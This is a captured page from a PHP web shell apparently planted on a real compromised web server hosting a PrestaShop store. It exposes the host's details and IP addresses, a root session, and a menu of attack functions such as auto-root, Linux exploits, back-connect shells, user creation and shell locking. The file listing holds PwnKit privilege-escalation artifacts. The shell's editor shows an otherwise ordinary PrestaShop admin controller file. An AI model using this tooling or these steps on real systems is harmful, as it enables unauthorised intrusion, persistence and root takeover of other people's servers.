Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
tienda /
controllers /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
AdminAccessController.php
7.78
KB
-rwxrwxrwx
AdminAddressesController.php
23.22
KB
-rwxrwxrwx
AdminAttachmentsController.php
10.82
KB
-rwxrwxrwx
AdminAttributeGeneratorControl...
11.64
KB
-rwxrwxrwx
AdminAttributesGroupsControlle...
39.86
KB
-rwxrwxrwx
AdminCarrierWizardController.p...
41.3
KB
-rwxrwxrwx
AdminCarriersController.php
32.71
KB
-rwxrwxrwx
AdminCartRulesController.php
36.98
KB
-rwxrwxrwx
AdminCartsController.php
43.43
KB
-rwxrwxrwx
AdminCmsCategoriesController.p...
15.95
KB
-rwxrwxrwx
AdminCmsContentController.php
12.28
KB
-rwxrwxrwx
AdminCmsController.php
21.71
KB
-rwxrwxrwx
AdminCountriesController.php
22.32
KB
-rwxrwxrwx
AdminCustomerThreadsController...
55.03
KB
-rwxrwxrwx
AdminDashboardController.php
27.3
KB
-rwxrwxrwx
AdminFeaturesController.php
24.43
KB
-rwxrwxrwx
AdminGendersController.php
8.68
KB
-rwxrwxrwx
AdminGroupsController.php
26.44
KB
-rwxrwxrwx
AdminImagesController.php
38.1
KB
-rwxrwxrwx
AdminImportController.php
243.47
KB
-rwxrwxrwx
AdminLegacyLayoutController.ph...
5.3
KB
-rwxrwxrwx
AdminLoginController.php
18.83
KB
-rwxrwxrwx
AdminManufacturersController.p...
33.08
KB
-rwxrwxrwx
AdminModulesController.php
76.11
KB
-rwxrwxrwx
AdminModulesPositionsControlle...
29.95
KB
-rwxrwxrwx
AdminNotFoundController.php
1.63
KB
-rwxrwxrwx
AdminOrderMessageController.ph...
3.75
KB
-rwxrwxrwx
AdminOrdersController.php
163.18
KB
-rwxrwxrwx
AdminOutstandingController.php
6.35
KB
-rwxrwxrwx
AdminPatternsController.php
25.68
KB
-rwxrwxrwx
AdminPdfController.php
8.29
KB
-rwxrwxrwx
AdminPreferencesController.php
13.12
KB
-rwxrwxrwx
AdminProductsController.php
160.91
KB
-rwxrwxrwx
AdminQuickAccessesController.p...
9.71
KB
-rwxrwxrwx
AdminReferrersController.php
22.15
KB
-rwxrwxrwx
AdminRequestSqlController.php
21.3
KB
-rwxrwxrwx
AdminReturnController.php
14.81
KB
-rwxrwxrwx
AdminSearchConfController.php
20
KB
-rwxrwxrwx
AdminSearchController.php
23.76
KB
-rwxrwxrwx
AdminSearchEnginesController.p...
3.63
KB
-rwxrwxrwx
AdminShopController.php
37
KB
-rwxrwxrwx
AdminShopGroupController.php
14.86
KB
-rwxrwxrwx
AdminShopUrlController.php
24.39
KB
-rwxrwxrwx
AdminSlipController.php
7.49
KB
-rwxrwxrwx
AdminSpecificPriceRuleControll...
16.15
KB
-rwxrwxrwx
AdminStatesController.php
12.87
KB
-rwxrwxrwx
AdminStatsController.php
45.06
KB
-rwxrwxrwx
AdminStatsTabController.php
11.74
KB
-rwxrwxrwx
AdminStatusesController.php
28.42
KB
-rwxrwxrwx
AdminStoresController.php
25.29
KB
-rwxrwxrwx
AdminSuppliersController.php
24.36
KB
-rwxrwxrwx
AdminTabsController.php
14.39
KB
-rwxrwxrwx
AdminTagsController.php
5.61
KB
-rwxrwxrwx
AdminTaxRulesGroupController.p...
22.51
KB
-rwxrwxrwx
AdminTrackingController.php
19.57
KB
-rwxrwxrwx
AdminTranslationsController.ph...
149.28
KB
-rwxrwxrwx
AdminZonesController.php
5.38
KB
-rwxrwxrwx
BoOrder.php
1.25
KB
-rwxrwxrwx
index.php
1.29
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AdminShopUrlController.php
<?php /** * 2007-2019 PrestaShop and Contributors * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2019 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ /** * @property ShopUrl $object */ class AdminShopUrlControllerCore extends AdminController { public function __construct() { $this->bootstrap = true; $this->table = 'shop_url'; $this->className = 'ShopUrl'; $this->lang = false; $this->requiredDatabase = true; $this->multishop_context = Shop::CONTEXT_ALL; $this->bulk_actions = array(); parent::__construct(); /* if $_GET['id_shop'] is transmitted, virtual url can be loaded in config.php, so we wether transmit shop_id in herfs */ if ($this->id_shop = (int) Tools::getValue('shop_id')) { $_GET['id_shop'] = $this->id_shop; } else { $this->id_shop = (int) Tools::getValue('id_shop'); } if (!Tools::getValue('realedit')) { $this->deleted = false; } $this->fields_list = array( 'id_shop_url' => array( 'title' => $this->trans('Shop URL ID', array(), 'Admin.Advparameters.Feature'), 'align' => 'center', 'class' => 'fixed-width-xs', ), 'shop_name' => array( 'title' => $this->trans('Shop name', array(), 'Admin.Advparameters.Feature'), 'filter_key' => 's!name', ), 'url' => array( 'title' => $this->trans('URL', array(), 'Admin.Global'), 'filter_key' => 'url', 'havingFilter' => true, 'remove_onclick' => true, ), 'main' => array( 'title' => $this->trans('Is it the main URL?', array(), 'Admin.Advparameters.Feature'), 'align' => 'center', 'activeVisu' => 'main', 'active' => 'main', 'type' => 'bool', 'orderby' => false, 'filter_key' => 'main', 'class' => 'fixed-width-md', ), 'active' => array( 'title' => $this->trans('Enabled', array(), 'Admin.Global'), 'align' => 'center', 'active' => 'status', 'type' => 'bool', 'orderby' => false, 'filter_key' => 'active', 'class' => 'fixed-width-md', ), ); } public function viewAccess($disable = false) { return Configuration::get('PS_MULTISHOP_FEATURE_ACTIVE'); } public function renderList() { $this->addRowActionSkipList('delete', array(1)); $this->addRowAction('edit'); $this->addRowAction('delete'); $this->_select = 's.name AS shop_name, CONCAT(\'http://\', a.domain, a.physical_uri, a.virtual_uri) AS url'; $this->_join = 'LEFT JOIN `' . _DB_PREFIX_ . 'shop` s ON (s.id_shop = a.id_shop)'; if ($id_shop = (int) Tools::getValue('id_shop')) { $this->_where = 'AND a.id_shop = ' . $id_shop; } $this->_use_found_rows = false; return parent::renderList(); } public function renderForm() { $update_htaccess = Tools::modRewriteActive() && ((file_exists('.htaccess') && is_writable('.htaccess')) || is_writable(dirname('.htaccess'))); $this->multiple_fieldsets = true; if (!$update_htaccess) { $desc_virtual_uri = array( '<span class="warning_mod_rewrite">' . $this->trans('If you want to add a virtual URL, you need to activate URL rewriting on your web server and enable Friendly URL option.', array(), 'Admin.Advparameters.Help') . '</span>', ); } else { $desc_virtual_uri = array( $this->trans('You can use this option if you want to create a store with a URL that doesn\'t exist on your server (e.g. if you want your store to be available with the URL www.example.com/my-store/shoes/, you have to set shoes/ in this field, assuming that my-store/ is your Physical URL).', array(), 'Admin.Advparameters.Help'), '<strong>' . $this->trans('URL rewriting must be activated on your server to use this feature.', array(), 'Admin.Advparameters.Help') . '</strong>', ); } $this->fields_form = array( array( 'form' => array( 'legend' => array( 'title' => $this->trans('URL options', array(), 'Admin.Advparameters.Feature'), 'icon' => 'icon-cogs', ), 'input' => array( array( 'type' => 'select', 'label' => $this->trans('Shop', array(), 'Admin.Global'), 'name' => 'id_shop', 'onchange' => 'checkMainUrlInfo(this.value);', 'options' => array( 'optiongroup' => array( 'query' => Shop::getTree(), 'label' => 'name', ), 'options' => array( 'query' => 'shops', 'id' => 'id_shop', 'name' => 'name', ), ), ), array( 'type' => 'switch', 'label' => $this->trans('Is it the main URL for this shop?', array(), 'Admin.Advparameters.Feature'), 'name' => 'main', 'is_bool' => true, 'class' => 't', 'values' => array( array( 'id' => 'main_on', 'value' => 1, ), array( 'id' => 'main_off', 'value' => 0, ), ), 'desc' => array( $this->trans('If you set this URL as the Main URL for the selected shop, all URLs set to this shop will be redirected to this URL (you can only have one Main URL per shop).', array(), 'Admin.Advparameters.Help'), array( 'text' => $this->trans('Since the selected shop has no main URL, you have to set this URL as the Main URL.', array(), 'Admin.Advparameters.Help'), 'id' => 'mainUrlInfo', ), array( 'text' => $this->trans('The selected shop already has a Main URL. Therefore, if you set this one as the Main URL, the older Main URL will be set as a regular URL.', array(), 'Admin.Advparameters.Help'), 'id' => 'mainUrlInfoExplain', ), ), ), array( 'type' => 'switch', 'label' => $this->trans('Enabled', array(), 'Admin.Global'), 'name' => 'active', 'required' => false, 'is_bool' => true, 'class' => 't', 'values' => array( array( 'id' => 'active_on', 'value' => 1, ), array( 'id' => 'active_off', 'value' => 0, ), ), ), ), 'submit' => array( 'title' => $this->trans('Save', array(), 'Admin.Actions'), ), ), ), array( 'form' => array( 'legend' => array( 'title' => $this->trans('Shop URL', array(), 'Admin.Advparameters.Feature'), 'icon' => 'icon-shopping-cart', ), 'input' => array( array( 'type' => 'text', 'label' => $this->trans('Domain', array(), 'Admin.Advparameters.Feature'), 'name' => 'domain', 'size' => 50, ), array( 'type' => 'text', 'label' => $this->trans('SSL Domain', array(), 'Admin.Advparameters.Feature'), 'name' => 'domain_ssl', 'size' => 50, ), ), 'submit' => array( 'title' => $this->trans('Save', array(), 'Admin.Actions'), ), ), ), ); if (!defined('_PS_HOST_MODE_')) { $this->fields_form[1]['form']['input'] = array_merge( $this->fields_form[1]['form']['input'], array( array( 'type' => 'text', 'label' => $this->trans('Physical URL', array(), 'Admin.Advparameters.Feature'), 'name' => 'physical_uri', 'desc' => $this->trans('This is the physical folder for your store on the web server. Leave this field empty if your store is installed on the root path. For instance, if your store is available at www.example.com/my-store/, you must input my-store/ in this field.', array(), 'Admin.Advparameters.Help'), 'size' => 50, ), ) ); } $this->fields_form[1]['form']['input'] = array_merge( $this->fields_form[1]['form']['input'], array( array( 'type' => 'text', 'label' => $this->trans('Virtual URL', array(), 'Admin.Advparameters.Feature'), 'name' => 'virtual_uri', 'desc' => $desc_virtual_uri, 'size' => 50, 'hint' => (!$update_htaccess) ? $this->trans('Warning: URL rewriting (e.g. mod_rewrite for Apache) seems to be disabled. If your Virtual URL doesn\'t work, please check with your hosting provider on how to activate URL rewriting.', array(), 'Admin.Advparameters.Help') : null, ), array( 'type' => 'text', 'label' => $this->trans('Final URL', array(), 'Admin.Advparameters.Feature'), 'name' => 'final_url', 'size' => 76, 'readonly' => true, ), ) ); if (!($obj = $this->loadObject(true))) { return; } self::$currentIndex = self::$currentIndex . ($obj->id ? '&shop_id=' . (int) $obj->id_shop : ''); $current_shop = Shop::initialize(); $list_shop_with_url = array(); foreach (Shop::getShops(false, null, true) as $id) { $list_shop_with_url[$id] = (bool) count(ShopUrl::getShopUrls($id)); } $this->tpl_form_vars = array( 'js_shop_url' => json_encode($list_shop_with_url), ); $this->fields_value = array( 'domain' => trim(Validate::isLoadedObject($obj) ? $this->getFieldValue($obj, 'domain') : $current_shop->domain), 'domain_ssl' => trim(Validate::isLoadedObject($obj) ? $this->getFieldValue($obj, 'domain_ssl') : $current_shop->domain_ssl), 'physical_uri' => trim(Validate::isLoadedObject($obj) ? $this->getFieldValue($obj, 'physical_uri') : $current_shop->physical_uri), 'active' => trim(Validate::isLoadedObject($obj) ? $this->getFieldValue($obj, 'active') : true), ); return parent::renderForm(); } public function initPageHeaderToolbar() { parent::initPageHeaderToolbar(); if ($this->display != 'add' && $this->display != 'edit') { if ($this->id_object) { $this->loadObject(); } if (!$this->id_shop && $this->object && $this->object->id_shop) { $this->id_shop = $this->object->id_shop; } $this->page_header_toolbar_btn['edit'] = array( 'desc' => $this->trans('Edit this shop', array(), 'Admin.Advparameters.Feature'), 'href' => $this->context->link->getAdminLink('AdminShop') . '&updateshop&shop_id=' . (int) $this->id_shop, ); $this->page_header_toolbar_btn['new'] = array( 'desc' => $this->trans('Add a new URL', array(), 'Admin.Advparameters.Feature'), 'href' => $this->context->link->getAdminLink('AdminShopUrl') . '&add' . $this->table . '&shop_id=' . (int) $this->id_shop, ); } } public function initToolbar() { parent::initToolbar(); if ($this->display != 'add' && $this->display != 'edit') { if ($this->id_object) { $this->loadObject(); } if (!$this->id_shop && $this->object && $this->object->id_shop) { $this->id_shop = $this->object->id_shop; } $this->toolbar_btn['new'] = array( 'desc' => $this->trans('Add a new URL', array(), 'Admin.Advparameters.Feature'), 'href' => $this->context->link->getAdminLink('AdminShopUrl') . '&add' . $this->table . '&shop_id=' . (int) $this->id_shop, ); } } public function initContent() { parent::initContent(); $this->addJqueryPlugin('cooki-plugin'); $data = Shop::getTree(); foreach ($data as &$group) { foreach ($group['shops'] as &$shop) { $current_shop = new Shop($shop['id_shop']); $urls = $current_shop->getUrls(); foreach ($urls as &$url) { $title = $url['domain'] . $url['physical_uri'] . $url['virtual_uri']; if (strlen($title) > 23) { $title = substr($title, 0, 23) . '...'; } $url['name'] = $title; $shop['urls'][$url['id_shop_url']] = $url; } } } $shops_tree = new HelperTreeShops('shops-tree', $this->trans('Multistore tree', array(), 'Admin.Advparameters.Feature')); $shops_tree->setNodeFolderTemplate('shop_tree_node_folder.tpl')->setNodeItemTemplate('shop_tree_node_item.tpl') ->setHeaderTemplate('shop_tree_header.tpl')->setActions(array( new TreeToolbarLink( 'Collapse All', '#', '$(\'#' . $shops_tree->getId() . '\').tree(\'collapseAll\'); return false;', 'icon-collapse-alt' ), new TreeToolbarLink( 'Expand All', '#', '$(\'#' . $shops_tree->getId() . '\').tree(\'expandAll\'); return false;', 'icon-expand-alt' ), )) ->setAttribute('url_shop_group', $this->context->link->getAdminLink('AdminShopGroup')) ->setAttribute('url_shop', $this->context->link->getAdminLink('AdminShop')) ->setAttribute('url_shop_url', $this->context->link->getAdminLink('AdminShopUrl')) ->setData($data); $shops_tree = $shops_tree->render(null, false, false); if (!$this->display && $this->id_shop) { $shop = new Shop($this->id_shop); $this->toolbar_title[] = $shop->name; } $this->context->smarty->assign(array( 'toolbar_scroll' => 1, 'toolbar_btn' => $this->toolbar_btn, 'title' => $this->toolbar_title, 'shops_tree' => $shops_tree, )); } public function postProcess() { $token = Tools::getValue('token') ? Tools::getValue('token') : $this->token; $result = true; if ((Tools::isSubmit('status' . $this->table) || Tools::isSubmit('status')) && Tools::getValue($this->identifier)) { if ($this->access('edit')) { if (Validate::isLoadedObject($object = $this->loadObject())) { /** @var ShopUrl $object */ if ($object->main) { $this->errors[] = $this->trans('You cannot disable the Main URL.', array(), 'Admin.Notifications.Error'); } elseif ($object->toggleStatus()) { Tools::redirectAdmin(self::$currentIndex . '&conf=5&token=' . $token); } else { $this->errors[] = $this->trans('An error occurred while updating the status.', array(), 'Admin.Notifications.Error'); } } else { $this->errors[] = $this->trans('An error occurred while updating the status for an object.', array(), 'Admin.Notifications.Error') . ' <b>' . $this->table . '</b> ' . $this->trans('(cannot load object)', array(), 'Admin.Notifications.Error'); } } else { $this->errors[] = $this->trans('You do not have permission to edit this.', array(), 'Admin.Notifications.Error'); } } elseif (Tools::isSubmit('main' . $this->table) && Tools::getValue($this->identifier)) { if ($this->access('edit')) { if (Validate::isLoadedObject($object = $this->loadObject())) { /** @var ShopUrl $object */ if (!$object->main) { $result = $object->setMain(); Tools::redirectAdmin(self::$currentIndex . '&conf=4&token=' . $token); } else { $this->errors[] = $this->trans('You cannot change a main URL to a non-main URL. You have to set another URL as your Main URL for the selected shop.', array(), 'Admin.Notifications.Error'); } } else { $this->errors[] = $this->trans('An error occurred while updating the status for an object.', array(), 'Admin.Notifications.Error') . ' <b>' . $this->table . '</b> ' . $this->trans('(cannot load object)', array(), 'Admin.Notifications.Error'); } } else { $this->errors[] = $this->trans('You do not have permission to edit this.', array(), 'Admin.Notifications.Error'); } } else { $result = parent::postProcess(); } if ($this->redirect_after) { $this->redirect_after .= '&shop_id=' . (int) $this->id_shop; } return $result; } public function processSave() { /** @var ShopUrl $object */ $object = $this->loadObject(true); if ($object->canAddThisUrl(Tools::getValue('domain'), Tools::getValue('domain_ssl'), Tools::getValue('physical_uri'), Tools::getValue('virtual_uri'))) { $this->errors[] = $this->trans('A shop URL that uses this domain already exists.', array(), 'Admin.Notifications.Error'); } $unallowed = str_replace('/', '', Tools::getValue('virtual_uri')); if ($unallowed == 'c' || $unallowed == 'img' || is_numeric($unallowed)) { $this->errors[] = $this->trans( 'A shop virtual URL cannot be "%URL%"', array( '%URL%' => $unallowed, ), 'Admin.Notifications.Error' ); } $return = parent::processSave(); if (!$this->errors) { Tools::generateHtaccess(); Tools::generateRobotsFile(); Tools::clearSmartyCache(); Media::clearCache(); } return $return; } public function processAdd() { /** @var ShopUrl $object */ $object = $this->loadObject(true); if ($object->canAddThisUrl(Tools::getValue('domain'), Tools::getValue('domain_ssl'), Tools::getValue('physical_uri'), Tools::getValue('virtual_uri'))) { $this->errors[] = $this->trans('A shop URL that uses this domain already exists.', array(), 'Admin.Notifications.Error'); } if (Tools::getValue('main') && !Tools::getValue('active')) { $this->errors[] = $this->trans('You cannot disable the Main URL.', array(), 'Admin.Notifications.Error'); } return parent::processAdd(); } public function processUpdate() { $this->redirect_shop_url = false; $current_url = parse_url($_SERVER['REQUEST_URI']); if (trim(dirname(dirname($current_url['path'])), '/') == trim($this->object->getBaseURI(), '/')) { $this->redirect_shop_url = true; } /** @var ShopUrl $object */ $object = $this->loadObject(true); if ($object->main && !Tools::getValue('main')) { $this->errors[] = $this->trans('You cannot change a main URL to a non-main URL. You have to set another URL as your Main URL for the selected shop.', array(), 'Admin.Notifications.Error'); } if (($object->main || Tools::getValue('main')) && !Tools::getValue('active')) { $this->errors[] = $this->trans('You cannot disable the Main URL.', array(), 'Admin.Notifications.Error'); } return parent::processUpdate(); } /** * @param ShopUrl $object */ protected function afterUpdate($object) { if ($object->id && Tools::getValue('main')) { $object->setMain(); } if ($this->redirect_shop_url) { $this->redirect_after = $this->context->link->getAdminLink('AdminShopUrl'); } } /** * @param string $token * @param int $id * @param string $name * * @return mixed */ public function displayDeleteLink($token, $id, $name = null) { $tpl = $this->createTemplate('helpers/list/list_action_delete.tpl'); if (!array_key_exists('Delete', self::$cache_lang)) { self::$cache_lang['Delete'] = $this->trans('Delete', array(), 'Admin.Actions'); } if (!array_key_exists('DeleteItem', self::$cache_lang)) { self::$cache_lang['DeleteItem'] = $this->trans('Delete selected item?', array(), 'Admin.Notifications.Warning'); } if (!array_key_exists('Name', self::$cache_lang)) { self::$cache_lang['Name'] = $this->trans('Name:', array(), 'Admin.Global'); } if (null !== $name) { $name = '\n\n' . self::$cache_lang['Name'] . ' ' . $name; } $data = array( $this->identifier => $id, 'href' => self::$currentIndex . '&' . $this->identifier . '=' . $id . '&delete' . $this->table . '&shop_id=' . (int) $this->id_shop . '&token=' . ($token != null ? $token : $this->token), 'action' => self::$cache_lang['Delete'], ); if ($this->specificConfirmDelete !== false) { $data['confirm'] = null !== $this->specificConfirmDelete ? '\r' . $this->specificConfirmDelete : self::$cache_lang['DeleteItem'] . $name; } $tpl->assign(array_merge($this->tpl_delete_link_vars, $data)); return $tpl->fetch(); } }
Close